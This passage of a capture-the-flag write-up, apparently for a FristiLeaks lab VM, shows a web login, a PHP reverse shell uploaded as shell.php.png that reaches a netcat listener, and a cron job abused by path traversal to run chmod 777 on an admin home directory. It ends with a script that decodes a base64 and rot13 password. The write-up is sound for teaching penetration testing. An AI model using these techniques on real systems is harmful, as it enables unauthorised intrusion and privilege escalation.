class=&quot;s2&quot;&gt;Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;U5ErkJggg==&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--decode&lt;/span&gt;
 1274&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Zv7/d5i6qse0t9rWa6UMsR1+WrORl72DbdWKqZS0tMPqGl8LRhzyWjWkTFDPXFmulC7e81bxnNOvb&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;DpYzOMN1WqplLS0w+oaXwomXXtfhL8e6W+lrNdDFujoQNJ9XbKtHMpSUmn9BSeGf51bUcr6W+VjNd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;jJQjcelwepPCjlLNXFpi8gktXfnVtYSd6UpINdPFCDlyKB3dyPLpSTVzZYnJR7R0WHEiFGv5NrDU&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;12qmC/1/Zz2ZWXi1abli0aLqjZdq5sqSxUgtWY7syq+u6UpINdOFeI5ENygbTfj+qDbc+QpG9c5&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;uvFQzV5aM15LlyMrfnrPU12qmC+Ucqd+g6E1JNsX16/i/6BtvvEQzF5YM2JLhyMLz4sNNtp/pSkg1&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;04VajmwziEdZvmSz9E0YbzbI/FSycgVSzZiXDNmS4cjCni+kLRnqizXThUqOhEkso2k5pGy00aLq&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;i1n+skSqGfOSIVsKC5Zv4+XH36vQzbl0V0t9rWb6EMyRaLLp+Bbhy31k8SBbjqpUNSHVjHXJmC2Fg&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;tOH0drysrz404sdLPW1mulDLUdSpdEsk5vf5Gtqg1xnfX88tu/PZy7VjHXJmC21H9lWvBBfdZb6Ws&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;30oZ0jk3y+pQ9fnEG4lNOco9UnY5dqxrhk0JZKezwdNwqfnv6AOUN9sWb6UMyR5zT2B+lwDh++Fl&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;3K/U+z2uFJNWNcMmhLzUe2v6n/dAWG+mLN9KGWI9EcKsMJl6o6+ecH8dv0Uu4PnkqDl2rGuiS8HK&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ul9iMrFG9gqa/VTB8qORLuSTqF7fYU7tgsn/4+zfhV6aiiIsczlGrGvGTIlsLLhiPbnh6KnLDU12q&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;mD+0cKQ8nunpVcZ21Rj7erEz0WqoZ+5IRW1oXNB3Z/vBMWulSfYlm+hDLkcIAtuHEUzu/l9l867X34&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;rPtA6lmLi0ZrqX6gu37aIukRkVaylRfqpk+9HNkH85hNocTKC4P31Vebhd8fy/VzOTCkqeBWlrrFhe&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;EPdMjO3SSys7XVF+qmT5UcmT9+Ss//fyyOLU3kWoGLd59ZKb6Us10IZMjAP5b5AgAL3IEgBc5AsCLH&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;AHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixwB4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzk&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;CwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL3IEgBc5AsCLHAHgRY4A8Pn9/QNa7zik1qtycQAAAABJR&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;U5ErkJggg==&quot;&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;base64&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--decode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; image.png&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The following credentials were used to login to the web application:&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Username&lt;/th&gt;
      &lt;th&gt;Password&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;b&gt;eezeepz&lt;/b&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;keKkeKKeKKeKkEkkEk&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h2 id=&quot;php-reverse-shell&quot;&gt;PHP Reverse Shell&lt;/h2&gt;

&lt;p&gt;The file name &lt;code&gt;shell.php.png&lt;/code&gt; was used to bypass the web application filtering, the file was still executed as PHP (likely due to incorrectly configured Apache MIME types). A reverse shell successfully connected back to a netcat listener.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# netcat &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 443
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 443 ...
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.139] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.150] 34400
Linux localhost.localdomain 2.6.32-573.8.1.el6.x86_64 &lt;span class=&quot;c&quot;&gt;#1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux&lt;/span&gt;
 18:26:33 up  5:37,  0 &lt;span class=&quot;nb&quot;&gt;users&lt;/span&gt;,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;48&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;apache&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;48&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;apache&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;48&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;apache&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
sh: no job control &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;this shell
sh-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;whoami
whoami
&lt;/span&gt;apache&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;local-enumeration&quot;&gt;Local Enumeration&lt;/h2&gt;

&lt;p&gt;Enumeration of the users home dir found several binary files and the following txt file:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sh-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;notes
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;notes.txt
Yo EZ,

I made it possible &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;you to &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;some automated checks,
but I did only allow you access to /usr/bin/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; system binaries. I did
however copy a few extra often needed commands to my
homedir: &lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt;, &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;, &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt;, &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt;, ps, &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt;, egrep so you can use those
from /home/admin/

Don&lt;span class=&quot;s1&quot;&gt;&apos;t forget to specify the full path for each binary!

Just put a file called &quot;runthis&quot; in /tmp/, each line one command. The
output goes to the file &quot;cronresult&quot; in /tmp/. It should
run every minute with my account privileges.

- Jerry&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The following directory traversal (the command had to originate from /usr/bin/) was used to set the permissions for &lt;code&gt;/home/admin&lt;/code&gt; &lt;strong&gt;world readable&lt;/strong&gt;.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/usr/bin/../../bin/chmod -R 777 /home/admin&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /tmp/runthis&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;homeadmin&quot;&gt;/home/admin&lt;/h3&gt;

&lt;p&gt;Inspection of &lt;code&gt;/home/admin&lt;/code&gt; disclosed the following:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sh-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /home/admin
&lt;span class=&quot;nb&quot;&gt;cd&lt;/span&gt; /home/admin
sh-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt;
total 652
drwxrwxrwx. 2 admin     admin       4096 Nov 19 02:03 &lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt;
drwxr-xr-x. 5 root      root        4096 Nov 19 01:40 ..
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; 1 admin     admin         18 Sep 22 12:40 .bash_logout
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; 1 admin     admin        176 Sep 22 12:40 .bash_profile
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; 1 admin     admin        124 Sep 22 12:40 .bashrc
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin      45224 Nov 18 13:42 &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin      48712 Nov 18 14:14 &lt;span class=&quot;nb&quot;&gt;chmod&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin        737 Nov 18 14:48 cronjob.py
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin         21 Nov 18 15:21 cryptedpass.txt
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin        258 Nov 18 15:20 cryptpass.py
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin      90544 Nov 18 13:49 &lt;span class=&quot;nb&quot;&gt;df&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin      24136 Nov 18 13:40 &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin     163600 Nov 18 13:42 egrep
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin     163600 Nov 18 13:42 &lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;-rwxrwxrwx&lt;/span&gt;  1 admin     admin      85304 Nov 18 13:41 ps
&lt;span class=&quot;nt&quot;&gt;-rw-r--r--&lt;/span&gt;  1 fristigod fristigod     25 Nov 19 01:47 whoisyourgodnow.txt
sh-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;whoisyourgodnow.txt
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;whoisyourgodnow.txt
&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;RFn0AKnlMHMPIzpyuTI0ITG
sh-4.1&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;cryptedpass.txt
&lt;span class=&quot;nb&quot;&gt;cat &lt;/span&gt;cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The following python script appeared to create the above string in cryptedpass.txt:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;n&quot;&gt;sh&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;4.1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptpass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;py&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;cat&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptpass&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;py&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encodeString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;base64string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;codecs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;rot13&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;cryptoResult&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encodeString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cryptoResult&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The above script was modified on the attacking machine to decode the string:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span class=&quot;c1&quot;&gt;#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;codecs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;encodeString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;base64string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;codecs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&apos;rot13&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;decodeString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;rot13&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;decodeString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;argv&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;String successfully decoded:&lt;/p&gt;

